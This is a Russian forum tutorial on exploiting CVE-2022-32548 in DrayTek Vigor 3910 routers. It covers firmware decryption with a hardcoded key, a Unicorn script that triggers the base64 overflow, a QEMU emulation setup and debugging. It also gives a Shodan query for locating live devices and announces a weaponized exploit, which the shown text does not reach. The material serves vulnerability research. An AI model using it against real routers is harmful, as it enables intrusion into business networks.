• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Погружение в эксплуатацию IoT, на примере CVE-2022-32548

Azrv3l

win32kfull
Эксперт
Регистрация
30.03.2019
Сообщения
215
Реакции
539
Вступление
Я не большой специалист в эксплуатации уязвимостей устройств интернета вещей, так что если вы знаете какой-то более оптимальный способ проэкплуатировать эту уязвимость - не стесняйтесь писать об этом в теме, будет интересно почитать. Как и всегда напоминаю, что статья, по большей части, рассчитана на новичков, поэтому я буду разбирать каждый момент детально. По всем вопросам можете писать тут или обращаться в ПМ, буду рад помочь.

Вот выступление человека нашедшего уязвимость. Пусть Philippe и проделал огромную работу, он оставил (скорее всего осознанно) некоторые недосказанности, которые не позволяют сразу написать PoC к этой узявимости. Кроме того его выступление не рассчитано на новичков, поэтому я и решил написать эту статью.

На момент написания статьи в публичном доступе нет PoC экплойтов для этой уязвимости. Но сегодня, мы с вами напишем не просто PoC, а полноценный эксплойт с боевой нагрузкой. Портируем его под разные версии уязвимой прошивки, и напишем скрипт для идентификации версии. Я сознательно оставлю некоторые ошибки в эксплойтах, но любой разбирающийся человек, или просто внимательный читатель - сможет их исправить.

Содержание
  1. Введение
    1. Что такое IoT
    2. Требуемые знания
    3. Кратко о aarch64
    4. Инструментарий
  2. Firmware
    1. Про Vigor 3910
    2. Распаковка прошивки
      1. Версия 3.9.6
      2. Версия 4.3.1
  3. Анализ уязвимости
    1. Где RCE?
    2. Как работает переполнение?
    3. Unicorn engine
  4. Эмуляция
    1. Кастомный qemu
    2. Переписываем скрипт для запуска
    3. Доступ к web-морде
    4. Отладка с gdb-multiarch
  5. Пишем эксплоит
    1. Подготовка
    2. Переполняем буфер
    3. Ищем смещение
    4. Пишем шеллкод
    5. Собираем эксплоит
    6. Загружаем боевую нагрузку
    7. Оптимизация под другие версии
  6. One more thing(О способе определения версии)
  7. Ссылки
  8. Итоги
Введение
Что такое IoT

Тема IoT устройств сейчас актуальна как никогда. Согласно заявлениям McKinsey Digital, ещё в 2019 году, каждую секунду к интернету в серднем подключалось 127 новых IoT устройств. По оценкам Форбc на данный момент к интернету по всему миру подключены около 3,5 миллиардов различных IoT устройств. Термин IoT включает в себя устройства из совершенно разных отрослей экономики: от медицины, сельского хозяйства и транспорта до систем умного дома. Сейчас IoT используется почти везде, поэтому RCE уязвимости в таких устройствах привлекают много внимания.

Экплуатация ПО IoT устройства отличается от экплуатации любой другой десктопной или серверной программы. Ключевые отличия это архитектура и ограниченность ресурсов. В IoT редко используются чипы на архитектуре x86 из за их высокой стоимости и низкой по меркам IoT энергоэффективности. В IoT чаще применяются чипы на архитектурах семейств ARM и MIPS. Малое количество вычеслительных ресурсов накладывает сильные ограничения на спект защитных механизмов которые можно реализовать, однако это варьируется от устройства к устройству. Отсутсвие антивирусных решений, а также низкий уровень защиты памяти, сильно упрощают процесс экплуатации. Зачастую в IoT устройства нет никаких сложных механизмов вроде CFG, SMEP и других. Сегодня же нас не будет ограничивать ничего, не будет ни stack cookies, ни nx битов, ничего.

Требуемые знания
Сегодня от вас не потребуется ничего экстраординарного. Достаточно простого понимания того как эксплуатировать простейшие уязвимости класса bufferoverflow, поверхностных знаний ассемблера x86, а также умения обращаться с декомпилятором и отладчиком.

Но не думайте что будет скучно, сегодня мы пройдём полный путь от распаковки firmware, до полноценного эксплойта. Если у вас остануться какие-то вопросы, пишите прямо тут или мне в ПМ.

Кратко о aarch64
AArch64 или ARM64, это представленное в 2011 году 64-битное расширение архитектуры ARM. AArch64 использует новый сет инструкций - А64. Я бы мог очень долго распинаться о A64, но в рамках этой статьи это ни к чему. Поэтому я поверхностно коснусь этого вопроса и оставлю ссылки для дальнейшего самостоятельного изучения.

Если вы в первый раз видите arm, то это архитектура на которой работает ваш телефон, возможно роутер и много чего ещё. Ключевое отличие arm архитектуры от x86 это микроархитектура. Для x86 это CISC, для ARM это RISC. Если ещё проще, то в CISC больше инструкций, они занимают больше места на чипе и кушают больше энергии, в RISC же инструкций меньше, за счёт этого они меньше греются и кушают меньше энергии. Современные процессоры на архитектуре x86 комбинируют в себе и RISC и CISC, но это не тема этой статьи, так что опустим эти детали.

По ходу статьи я буду объяснять все моменты подробно, так что учить всё прямо сейчас вам не за чем. Однако если вы всё-же сильно заинтересуетесь ARM, а в частности ARMv8, то вот отличная документация для разрабочиков

Более подробную информацию о наборе инструкций A64 можно получить в этом документе

Краткую справку по устройству стека и вызовах в arm64 можно получить тут

Главное что нужно запомнить сегодня - в Aarch64 стек растёт вниз!
2.png


По ходу чтения, можете поглядывать вот в эту шпаргалку по ARM инструкциям:
1.png


Тут безусловно не всё, однако она поможет не путаться и быстро понимать в чём суть того или иного листинга декомпилятора.

Инструментарий
В качестве основного иструмента анализа, при написании этой статьи, я использовал Binary Ninja - отличный инструмент и красивым UI. Все скрины сегодня будут от туда.

Также нам понадобятся:
  • Виртуалка с Ubuntu 16.04 на бору(Почему именно 16.04 я объясню позже)
  • gdb-multiarch
  • binwalk
  • python или c++ с Unicorn-Engine
  • gnu компилятор для aarch64: gcc-aarch64-linux-gnu
Чуть больше расскажу про binwalk, так как с его установкой всё не так очевидно как у остальных указанных инструментов. Вот репозиторий binwalk на github. Установка его кажется довольно простой, однако в дополнение к binwalk, для анализа содержимого файлов с прошивкой нам понадобится sasquatch, а вот с ним всё не так просто.

Вот репозиторий sasquatch. Но гайд по установке из самого репозитория не работает, из за проблем с объявлениями и флага -Werror, который превращает Warning'и в ошибки. Для установки я использовал следующий команды:
Bash:
git clone https://github.com/devttys0/sasquatch && cd sasquatch
ADDLINE="sed -i 's/-Wall -Werror/-Wall/g' patches/patch0.txt"
sed -i "/^tar -zxvf.*/a $ADDLINE" ./build.sh
CFLAGS=-fcommon ./build.sh
И только после сборки sasquarch, можно устанавливать binwalk.

Firmware
Про Vigor 3910

Эксплуатировать будем уязвимость CVE-2022-32548. Уровень опасности согласно CVSS довольно высокий 9.8 или даже 10. Вот пару ссылок ссылок о узвимости:

Нашей сегодняшней целью будет DrayTek Vigor 3910:
3.jpg


Это корпоративный маршрутизатор, особенно популярный в Южной Азии и Европе, среди среднего и крупного бизнеса. Вот список стран в которых популярны продукты DrayTek

На сайте производителя есть классное live демо, можете пощупать web интерфейс тут

На vuldb сказанно, что уязвимы все версии до 4.3.1.1. Сама уязвимость обещает быть несложной для эксплуатации, обычный buffer overflow в странице регистрации, ведущий к RCE.
Файл прошивки нужной версии можно скачать с сайта производителя

Распаковка прошивки
В качестве цели возьмём две версии 4.3.1 и 3.9.6, это 2 самые популярные версии согласно скану Shodan. Скачать архивы можно тут:
Распаковать файл с прошивкой версии 4.3.1 будет немного сложнее, поэтому давайте начнём с 3.9.6.

Версия 3.9.6

В скаченном архиве нас встречает файл v3910_396.all. Нет смысла сразу закидывать его в binary ninja, давайте сначала пробежимся по нему с помощью binwalk:
4.png


Внутри мы обнаруживаем unix пути, вроде /home/eason_jhan/... или /bin/bash, что прямо говорит нам о том что внутри Vigor 3910 крутиться unix операционная система. Все остальное же на первый взгляд выглядит как какой-то кошмар. Однако если открыть файл в hex-редакторе, можно обнаружить строки вроде этой:
5.png

Что намекает нам на то что файл был сжать неким алгоримом.

Чтобы понять что за алгоритм сжатия использовался, давайте поищем какие-нибудь маркеры. Вот они:
6.png

7.png

Оба указывают на то, что использовался алгоритм LZ4. Первый это конец блока сжатия, а второй - начало.

В выступлении первооткрывателя этой уязвимости приведён скрипт для распаковки firmware. Я его немного упростил, но сути это не поменяло:
Python:
import sys
import os

def decompress():
    print("[*] Extracting fs from lz4 blob")

    with open(sys.argv[1], "rb") as f:    # Reads decrypted firmware
        data = f.read()

    data_start = data.find(b"\x02\x21\x4c\x18")    # Searching for first bytes of LZ4 blob
    if data_start == -1:
        print("[!] LZ4 header not found")
        return False

    data_end = data.find(b"R!!!", data_start)    # Search for the end of LZ4
    temp_end = data_end

    while temp_end != -1:    # Searching for R!!! till the end
        data_end = temp_end    # That means that we will get the last R!!! in file
        temp_end = data.find(b"R!!!", data_end+1)

    if data_end == -1:    # if we overflowed, throws error
        print("[!] LZ4 trailer not found")
        return False
    data_end += (0x14-5) # calc true and offset

    print("[+] Found LZ4 from {:x} to {:x}".format(data_start, data_end))

    filename_out = sys.argv[1] + "_fs.lz4"
    with open(filename_out, "wb") as f:
        f.write(data[data_start:data_end])

    os.system("lz4 -d {}".format(filename_out))
    return True

if __name__ == "__main__":
    decompress()

Он просто ищет в файле маркер с началом блока сжатия, потом итерируется по файлу с поисках последнего маркера: TRAILER!!!. Затем сохраняет найденный блок сжатия в отдельный файл и разжимает с помощью консольного инструмента.

Вот результат работы скрипта:
8.png

То что нам нужно это файл v3910_396.all_fs

А теперь снова прогоним через binwalk:
9.png

А вот это уже похоже на файловую систему!

Теперь извлечём содержимое файла при помощи команды:
Bash:
binwalk -eM v3910_396.all_fs

Вот что мы получим на выходе:
10.png


Версия 4.3.1
И буквально пару слов о распаковке 4.3.1. Мы не будем акцентрировать внимание на этом моменте, так как статья о экплуатации, а не о том как расшифровывать firmware. Однако не упомянуть об этом я не могу, иначе пропущу важный но неочевидный момент.

Распаковка версии 4.3.1 отличается всего одним дополнительным шагом вначале. Начиная с версий 4.x.x DrayTek загружают firmware в зашифрованном виде. Давайте убедимся в этом, прогонав файл v3910_431.all через binwalk:
11.png

В этот раз совсем кошмар, никаких намёков на то что внутри лежит Linux.

Взглянем через Hex-редактор:
12.png


Файл определённо зашифрован. Но чем? Ответ на этот вопрос даёт вот эта строчка:
13.png


Слово nonce намекает на то что использовалось потоковое шифрование посложнее чем xor) Давайте поищем ключ и маркеры, указывающие на конкретный алгоритм в предыдущей версии firmware. Не буду долго вас мучать, статья и так получилась не маленькая. Ответ кроется в версии идущей перед 4.3.1. Вот слово маркер из файла 3.9.7.2:
14.png

После недолгих поисков в гугле становится ясно, что expand 32-byte k оставляет нам только 2 варианта - либо salsa20, либо chacha20. Не буду долго томить, это chacha20.

А вот и ключ, открытым текстом, прямо в том-же файле v3910_3972.all:
15.png


Опять же, не будем долго задерживаться на этом этапе, так как это всё и так отлично раписанно в выступлении Philipp`а на Hexacon. Самое интересное - эксплуатация, только впереди, так что я просто скажу что в коде загрузки версии 3.9.7.2 все буквы J в ключе, меняются на E:
16.png


А вот и скрипт для расшифровки из презентации на hexacon:
Python:
import sys
from Crypto.Cipher import ChaCha20

def usage():
        print("{} path_to_file path_to_nonce".format(sys.argv[0]))

def go():
        print("[*] Decrypting Firmware")
        if len(sys.argv) < 2:
                return usage()

        with open(sys.argv[1], "rb") as f:
                data = f.read()
        with open(sys.argv[2], "rb") as f:
                msg_nonce = f.read()

        if len(msg_nonce) != 0xC:
                print("Invalide nonce len")
                return

        secret = b"0DraytekKd5Eason3DraytekKd5Eason"
        cipher = ChaCha20.new(key=secret, nonce=msg_nonce)
        plaintext = cipher.decrypt(data)

        with open(sys.argv[1] + "_decrypted", "wb") as f:
                f.write(plaintext)
                print("[+] Done")

if __name__ == "__main__":
        go()
Опять же ничего экстраоридинарного, просто дешифрование и запись в новый файл.

После расшифровки, процесс извлечения прошивки ни чем не отличается от версии 3.9.6. Идём дальше.

Анализ уязвимости
Вот мы и добрались до основной темы ститьи - Уязвимость. Начнём с того что определим, какие конкретно файлы отвечают за веб-интерфейс нашего Vigor3910. Первое что сразу бросается в глаза после извлечения файловой системы, это папка firmware:
17.png


Здесь, внутри папки vqemu, лежит файл sohod64.bin. А все скрипты что видны на фото выше - запускают его с помочью qemu. Это не трудно понять если взглянуть на скрипты внутри папки firmware. Вот, для примера, run_linux.sh:
27.png


Вот и настало время Binary Ninja. Загружаем в него sohod64.bin и приступаем к поискам.

Где RCE?
На сайте nist.gov, в описании CVE-2022-32548 указанно, что узявимость кроется в странице входа в панель Vigor: /cgi-bin/wlogin.cgi. А если конкретно то это BoF в полях aa и ab. Найти нужную функцию можно по строкам. Нам помогут ключевые слова, вроде cgi, wlogin, weblogin. Для удобства назовём её cgiWebLogin:
19.png


Давайте определим что за поля aa и ab. Для этого возьмём произвольный Vigor 3910 из Shodan и посмотрим в код элемента. Вот shodan querie для поиска устройства:
Код:
ssl:DrayTek http.status:200 product:"DrayTek Vigor3910 Series"

Передать что-то мы можем только в полях Username и Password:
28.png


Отправим форму и посмотрим в сам запрос:
29.png

Вот и наши поля aa и ab. А в них - закодированный в base64 логин и пароль(admin/admin в данном случае)

Как работает переполнение?
Вот кусочек листинга cgiWebLogin, где из base64 декодируются поля aa и ab:
20.png


А вот и функция отвечающая за декодирование из base64:
21.png


Как вы уже наверное догадались - суть уязвимости кроется в функции weird_strlen. Проблема заключается в том, что для подсчёта длинны строки, которая получится после расшифровки из base64, программа пользвуется следующей формулой:

Код:
(x // 4)*3 - n
Где x - длинна зашифрованной строки, а n - количество знаков '=' в конце

Давайте взглянем на листинг weird_strlen:
22.png

Она является ни чем инным, как программным отражением указанной выше формулы. Она делит длинну исходной строки на 4, умножает на 3, а затем, в цикле итерируется по строке с конца, и вычитает из результата единицу до тех пор, пока не встретит любой другой символ, кроме '='.

Уже догадались в чём проблема? Мы можем добавить сколько угодно знаков '=', тем самым уменьшая размер буфера в который попадёт наша расшифрованная строка.

Давайте в этом убедимся.

Unicorn engine

И тут я хочу представить вам очень полезный инструмент - Unicorn engine. Это кроссплатформенный CPU эмулятор в формате фреймворка, представленный ещё в 2015 году. Вот его страница на github
Не смотря на популярность инструмента, я редко вижу чтобы его использовали для анализа уязвимостей.

Над Unicorn engine есть отличная надстройка - Qiling, он создан специально для поиска и анализа уязвимостей. В него встроенны загрузчики файлов, а кроме того к нему можно подключить фазер и отладчик. Если будет интересно, я позже сделаю отдельную статью о Qiling.

Вернёмся к Unicorn engine. В python он устанавливается одной простой коммандой:
Bash:
pip install unicorn

Огромная проблема Unicorn Engine - недостаток документации на любых других языках, кроме китайского. На случай если кто-то вдруг знает китайский, вот документация на китайском

Разобраться с тем как его использовать вам поможет самый простой пример с сайта фреймворка. А также гора файлов с примерами его использования в C и Python:
Сегодня мы воспользуемся Python, так как с ним будет проще понять логику происходящего.

С начала я для удобства сократил размер файла sohod64. Сокращённую версию файла ищите в конце статьи.

После нескольких часов страдания из за отсутсвия вменяемой документации, у меня получился следующий скрипт:
Python:
from unicorn import *
from unicorn.arm64_const import *
import base64

# for debug part we need udbserver
# debug part
# from udbserver import udbserver

load_address = 0x40000000
stack_base = 0x45f18000
stack_size = 0x1000000

b64_decode_start = 0x40149fd4
b64_decode_end = 0x4014a2c0

safe_strlen_address = 0x4067ff58
safe_strlen_end = 0x4067ffec

address_String_encoded = 0x30000000
address_String_decoded = 0x30001000
expected_len = 0x54

# <----------------------------------------------->
# <-------------------Envs------------------------>
# <----------------------------------------------->

# Here is the decoded string
String_decoded = 'a'*0x54 + 'b'*0x20

# Here is the number of qual signs
n = (len(String_decoded) - 0x54) * 4 # math
quals = '='*n

# Here is the second output size
output_size = 0x20

# Debug
debug = False
debug_point = 0x40149fd4 # Now its b64_decode start

# <----------------------------------------------->
# <----------------------------------------------->
# <----------------------------------------------->

String_encoded = base64.b64encode(bytes(String_decoded, 'utf-8')) + bytes(quals, 'utf-8')

def load_routine():
    fw = open("bins/cut_sohod64.bin", "rb")
    firmware = fw.read(0x1e18b7f)
    return firmware

def load_unicorn():
    mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
    
    sohod64 = load_routine()
    mu.mem_map(load_address, 40*1024*1024) # Binary mapping
    mu.mem_map(stack_base, stack_size) # Stack mapping

    mu.reg_write(UC_ARM64_REG_SP, stack_base + stack_size//2) # Set a stack pointer
    mu.mem_write(stack_base, b"\x00"*stack_size) # Nulling stack
    
    mu.mem_write(load_address, sohod64)

    if debug:
        # debug part
        # print("[*] Emulation stars in debug mode: ")
        # print("------> Host: 127.0.0.1")
        # print("------> Port: 1234")
        # udbserver(mu, 1234, debug_point)
        print("[!] Debug is not available on Windows, becаuse we need udbserver")

    return mu

def hook_code(mu, address, size, user_data):
    if address == safe_strlen_address:
        print("[*] Reached safe_strlen")
        mu.reg_write(UC_ARM64_REG_W0, len(String_encoded)) # Just returning encoded string len
        mu.reg_write(UC_ARM64_REG_PC, safe_strlen_end) # and skip the function

def run(mu):
    # Mapping place for string
    mu.mem_map(address_String_encoded, 2*1024*1024)

    # Writing encoded string
    mu.mem_write(address_String_encoded, String_encoded)

    # Setting registers
    mu.reg_write(UC_ARM64_REG_W0, address_String_encoded) # data
    mu.reg_write(UC_ARM64_REG_W1, address_String_decoded) # dst
    mu.reg_write(UC_ARM64_REG_W2, expected_len)           # len

    # Hook safe_strlen, coz it just return constant value. And affecting a lot of memory areas
    mu.hook_add(UC_HOOK_CODE, hook_code)

    try:
        mu.emu_start(b64_decode_start, b64_decode_end)
    except Exception as e:
        print("[!] Emulation error: ")
        print(e)
        print("[*] IP: 0x{:x}".format(mu.reg_read(UC_ARM64_REG_PC)))
        quit()
    
    decrypted_String = mu.mem_read(address_String_decoded, expected_len)

    return decrypted_String

def main():
    print("[*] Emulating vulnerable function in sohod64.bin")
    print("[*] Encoded string len: {:x}".format(len(String_encoded)))

    # Emulation
    mu = load_unicorn()
    decrypted_string = run(mu)

    # Output
    print("[+] Emulation returned: ")

    print("\n----> Source buffer: ")
    source_buffer = mu.mem_read(address_String_encoded, len(String_encoded))
    print(source_buffer)

    print("\n----> Target Buffer: ")
    print(decrypted_string)

    print("\n----> Memory after buffer: ")
    # Printing the memory out of buffer
    afterbuffer_mem = mu.mem_read(address_String_decoded+expected_len, output_size)
    print(afterbuffer_mem)

main()

Давайте разберём этот код подробнее. Первым делом сохраним нужные нам значения:
Python:
load_address = 0x40000000
stack_base = 0x45f18000
stack_size = 0x1000000

b64_decode_start = 0x40149fd4
b64_decode_end = 0x4014a2c0

safe_strlen_address = 0x4067ff58
safe_strlen_end = 0x4067ffec

address_String_encoded = 0x30000000
address_String_decoded = 0x30001000
expected_len = 0x54
Адреса load_address, address_String_encoded и address_String_decoded - произвольные. Адрес загрузки можно брать любой, но в этом случае нужно учитывать что это влияет на адреса начала и конца функций. В данном случае смещения для b64_decode и safe_strlen взяты для версии 3.9.6.

Далее проинициализируем Unicorn:
Python:
mu = load_unicorn()

Python:
def load_routine():
    fw = open("bins/cut_sohod64.bin", "rb")
    firmware = fw.read(0x1e18b7f)
    return firmware

def load_unicorn():
    mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)

    sohod64 = load_routine()
    mu.mem_map(load_address, 40*1024*1024)  # Binary mapping
    mu.mem_map(stack_base, stack_size)  # Stack mapping

    mu.reg_write(UC_ARM64_REG_SP, stack_base +
                 stack_size//2)  # Set a stack pointer
    mu.mem_write(stack_base, b"\x00"*stack_size)  # Nulling stack

    mu.mem_write(load_address, sohod64)

    return mu
Здесь мы объявляем архитектуру и выделяем память для бинаря и стека. Далее устанавливаем в регистр SP(Stack Pointer) адрес нашего стека и забиваем его нулями. После - загружаем бинарь в только что выделенную под него память.

Следующий шаг - запуск:
Python:
decrypted_string = run(mu)

Python:
def run(mu):
    # Mapping place for string
    mu.mem_map(address_String_encoded, 2*1024*1024)

    # Writing encoded string
    mu.mem_write(address_String_encoded, String_encoded)

    # Setting registers
    mu.reg_write(UC_ARM64_REG_W0, address_String_encoded)  # data
    mu.reg_write(UC_ARM64_REG_W1, address_String_decoded)  # dst
    mu.reg_write(UC_ARM64_REG_W2, expected_len)           # len

    # Hook safe_strlen, coz it just return constant value
    mu.hook_add(UC_HOOK_CODE, hook_code)

    try:
        mu.emu_start(b64_decode_start, b64_decode_end)
    except Exception as e:
        print("[!] Emulation error: ")
        print(e)
        print("[*] IP: 0x{:x}".format(mu.reg_read(UC_ARM64_REG_PC)))
        quit()

    decrypted_String = mu.mem_read(address_String_decoded, expected_len)

    return decrypted_String

Здесь мы выделяем память для исходной строки, и сразу же записываем её туда. Далее устанавливаем регистры с аргументами для функции. В A64 аргументы передаются в регистрах w0-w7, по порядку. В нашем случае, так как мы будем вызывать не cgiWebLogin целиком, а только b64_decode, аргументы будут следуюшие:
  1. Указатель на исходную, закодированную в base64 строку
  2. Указатель на буфер, в который будет записанна декодированная строка
  3. Длинна исходной строки
Далее идёт не очевидный момент. Я устанавливаю hook на функцию safe_strlen, так как в нашем случае она возращает значение которое и так нам известно. Кроме того внутри себя функция safe_strlen вызывает множество других фукнций, поэтому её перехват позволит нам упростить и ускорить выполнение:
Python:
def hook_code(mu, address, size, user_data):
    if address == safe_strlen_address:
        print("[*] Reached safe_strlen")
        # Just returning encoded string len
        mu.reg_write(UC_ARM64_REG_W0, len(String_encoded))
        mu.reg_write(UC_ARM64_REG_PC, safe_strlen_end)  # and skip the function

Следующим шагом в блоке try/exept я запускаю эмуляцию, указывая начальный и конечный адрес выполнения(b64_decode_start и b64_decode_end):
Python:
try:
    mu.emu_start(b64_decode_start, b64_decode_end)
except Exception as e:
    print("[!] Emulation error: ")
    print(e)
    print("[*] IP: 0x{:x}".format(mu.reg_read(UC_ARM64_REG_PC)))
    quit()

После выполнения, я просто читаю адрес памяти в который функция должна была записывать итоговую строку и возвращаю прочитанное. А после - вывожу в консоль память в буфере и после него:
Python:
print("\n----> Source buffer: ")
source_buffer = mu.mem_read(address_String_encoded, len(String_encoded))
print(source_buffer)

print("\n----> Target Buffer: ")
print(decrypted_string)

print("\n----> Memory after buffer: ")
# Printing the memory out of buffer
afterbuffer_mem = mu.mem_read(address_String_decoded+expected_len, output_size)
print(afterbuffer_mem)
Не так уж и сложно, правда?

Eсли вы обратили внимание, в коде используется библиотека udbserver, она нужна для отладки исполняемого в unicorn engine файла. Если вы используете Linux и хотите посмотреть на происходящее через отладчик - просто раскоментируйте нужные строки. Они откроют порт 1234, к которому можно будет подключиться с помощью gdb-mutiarch. Но об отладке позже.

И так, перейдём к сути. Вот подсчёт нужного количества знаков '=' для успешного переполнения буфера на стеке:
Python:
# Here is the decoded string
String_decoded = 'a'*0x54 + 'b'*0x20

# Here is the number of qual signs
n = (len(String_decoded) - 0x54) * 4  # math
quals = '='*n

После исполнения скрипта, мы получаем следующее:
Код:
[*] Emulating vulnerable function in sohod64.bin
[*] Encoded string len: 11c
[*] Reached safe_strlen
[*] Reached safe_strlen
[+] Emulation returned:

----> Source buffer:
bytearray(b'YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmI=================================================================================================================================')

----> Target Buffer:
bytearray(b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')

----> Memory after buffer:
bytearray(b'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb')

Отлично, наличие уязвимости подверждено!

Эмуляция
Следующий вопрос которым необходимо озаботится перед тем как приступать к написанию эксплойта - эмуляция прошивки. В этом смысле перед нами стоит не сложная задача(на первый взгляд). Ведь sohod64.bin и так эмулируется в qemu, стоит просто запустить qemu и всё?

Всё не так просто.

Кастомный qemu
Дело в том, что для запуска sohod64.bin, Vigor 3910 использует кастомную версию Qemu. Это можно понять если заглянуть в один из файлов внутри папки firmware:
30.png

На это указывает флаг -dtb DrayTek.

Где же нам взять этот Qemu? Всё просто, в gpl репозитории разработчика

И вот тут мы возращаемся к вопросу, который я оставил ещё в самом начале статьи. Почему именно Ubuntu 16.04? Всё дело в том что у меня не получилось собрать этот кастомный qemu в более новых версиях Ubuntu. Я не буду вдаваться в подробности, если хотите - можете сами попробовать собрать его в другой Ubuntu. Для остальных, кто хочет превентивно избавиться от проблем - ставьте виртуалку с Ubuntu 16.04 и собирайте со спокойной душой.
Вот команды для сбора:
Bash:
cd qemu-2.12.1/
./configure --target-list="aarch64-softmmu,aarch64-linux-user"
make
sudo make install

Переписываем скрипт для запуска
Для запуска sohod64 с кастомным билдом qemu, я написал следующий скрипт:
Bash:
#!/bin/bash

# Some options
gdb_serial_option=
gdb_remote_option="-s"
log_path="../var/log/drayos"
serial_option="-chardev socket,id=char0,mux=on,port=8888,host=127.0.0.1,telnet,server,nowait,logfile=${log_path}/logpipe,logappend=on -serial chardev:char0"
changable_lanwan_path="./changable_lanwan"

rangen() {
   printf "%02x" `shuf -i 1-255 -n 1`
}

wan_mac(){
        idx=$1
        printf "%02x\n" $((0x${C}+0x$idx)) | tail -c 3 # 3 = 2 digit + 1 terminating character
}

if [ ! -p serial0 ]; then
    mkfifo serial0
fi

if [ ! -p serial1 ]; then
    mkfifo serial1
fi

platform_path="./platform"
echo "x86" > $platform_path

enable_kvm_path="./enable_kvm"
echo "kvm" > $enable_kvm_path

cfg_path="/cfg/draycfg.cfg"

GCI_PATH="./app/gci"
GCI_FAIL="./app/gci_exp_fail"
GDEF_FILE="$GCI_PATH/draycfg.def"
GEXP_FLAG="$GCI_PATH/EXP_FLAG"
GEXP_FILE="$GCI_PATH/draycfg.exp"
GDEF_FILE_ADDR="0x4de0000"
GEXP_FLAG_ADDR="0x55e0000"
GEXP_FILE_ADDR="0x55e0010"

echo "kyrofang" > $GDEF_FILE
echo "0#" > $GEXP_FLAG
echo "19831026" > $GEXP_FILE

echo "n" > $changable_lanwan_path

uffs_folder="../data/uffs"
uffs_flash="${uffs_folder}/v3910_ram_flash.bin"

mkdir -p ${uffs_folder}
if [ ! -f $uffs_flash ];then
    touch $uffs_flash
fi

A=$(rangen); B=$(rangen); C=$(rangen);
LAN_MAC="00:1d:aa:aa:bb:cc"
WAN_MAC="00:1d:aa:aa:bb:cd"

echo "0" > memsize
if [ ! -f $cfg_path ];then
    cfg_path="./magic_file"
fi

(sleep 80 && ethtool -K qemu-lan tx off)&

qemu-system-aarch64 -M virt,gic_version=3 -cpu cortex-a57 -m 1024 \
           -kernel ./vqemu/sohod64.bin $serial_option -dtb DrayTek \
           -nographic $gdb_serial_option $gdb_remote_option \
           -device virtio-net-pci,netdev=network-lan,mac=${LAN_MAC} \
           -netdev tap,id=network-lan,ifname=qemu-lan,script=no,downscript=no \
           -device virtio-net-pci,netdev=network-wan,mac=${WAN_MAC} \
           -netdev tap,id=network-wan,ifname=qemu-wan,script=no,downscript=no \
           -device virtio-serial-pci -chardev pipe,id=ch0,path=serial0 \
           -device virtserialport,chardev=ch0,name=serial0 \
           -device virtio-serial-pci -chardev pipe,id=ch1,path=serial1 \
           -device virtserialport,chardev=ch1,name=serial1 \
           -monitor telnet:127.0.0.1:7777,server,nowait \
           -device loader,file=$platform_path,addr=0x25fff0 \
           -device loader,file=$cfg_path,addr=0x260000 \
           -device loader,file=$enable_kvm_path,addr=0x25ffe0 \
           -device loader,file=$uffs_flash,addr=0x00be0000 \
           -device loader,file=memsize,addr=0x25ff67 \
           -device loader,file=$GDEF_FILE,addr=$GDEF_FILE_ADDR \
           -device loader,file=$GEXP_FLAG,addr=$GEXP_FLAG_ADDR \
           -device loader,file=$GEXP_FILE,addr=$GEXP_FILE_ADDR \
           -device loader,file=$changable_lanwan_path,addr=0x25ff69

Выглядит не просто, однако вдаваться в подробности нам сейчас ни к чему. По сути это сборная солянка из разных файлов внутри папки firmware. Просто сохраните этот файл в папку firmware к остальным скриптам.

Для запуска, помимо переписанного скрипта, нам понадобиться следующее:
  1. Создать папки app/ и app/gci/ в директории файловой системы
  2. Создать именнованый канал logpipe. Без него файл не запустится. Сделать это можно следующей командой:
Python:
mkfifo var/log/drayos/logpipe

Вот и всё, осталось запустить. Порядок следующий:
  1. Запускаем наш скрипт для запуска из под sudo
  2. В отдельном окне терминала запускаем команду: cat var/log/drayos/logpipe
  3. Консоль доступна через telnet: telnet 127.0.0.1 8888
После запуска терминал открытый на 2 шаге, должен выглядеть примерно так:
23.png


Если в ней будет появляться что-то ещё - не пугайтесь, это нормально.

Доступ к web-морде
Следующий важный вопрос который нужно затронуть - web-интерфейс. Чтобы получить доступ к web-панели, нам придётся немного поиграться с сетью. Ради вашего и своего удобства я написал скрипт для настройки, всё что нужно в нём поменять, это заменить поле $netdevice$ на имя вашего сетевого интерфейса:
Bash:
ip link add br-lan type bridge
ip tuntap add qemu-lan mode tap
brctl addif br-lan $netdevice$
brctl addif br-lan qemu-lan
ip addr flush dev $netdevice$
ifconfig br-lan 192.168.1.2
ifconfig br-lan up
ifconfig qemu-lan up
ifconfig $netdevice$ up

ip link add br-wan type bridge
ip tuntap add qemu-wan mode tap
brctl addif br-wan qemu-wan
ifconfig br-lan 192.168.1.2
ifconfig br-wan up
ifconfig qemu-wan up

ethtool -K $netdevice$ gro off
ethtool -K br-lan tx off
Запускать только из под sudo!

Также учтите, что после запуска скрипта на виртуалке пропадёт соединение, чтобы этого избежать, просто создайте второй интерфейс.

Скрипт нужно запускать Перед запуском скрипта с qemu! После этого web панель будет доступна по адресу https://192.168.1.1/weblogin.htm

Выглядеть это будет примерно так:
24.jpg


Отладка с gdb-multiarch
И последнее, перед тем как приступать к написанию эксплойта, нужно разобраться с отладчиком. В качестве инструмента отладки мы будем использовать консольный gdb-multiarch.

Инструмент ставиться простой командой:
Bash:
sudo apt-get install gdb-multiarch

После запуска эмуляции с qemu, подключиться к sohod64.bin можно будет следющей коммандой:
25.png


Для удобства изменим интерфейс коммандой:
Bash:
set layout asm

26.png


Если вы не умеете пользоваться gdb, то вот список комманд

Сегодня нам пригодяться не многие из них. Вот основные:

Вывести список регистров:
Bash:
i r

Вывести список брейкпоинтов:
Bash:
i b

Установить брейкпоинт на адрес:
Bash:
b *0xdeadbeef

Прочитать строку по адресу:
Bash:
x/s 0xdeadbeef

Прочитать байты по адресу:
Bash:
x/10x 0xdeadbeef

Прочитать байты по адресу хранящемуся в регистре:
Bash:
x/10x $sp

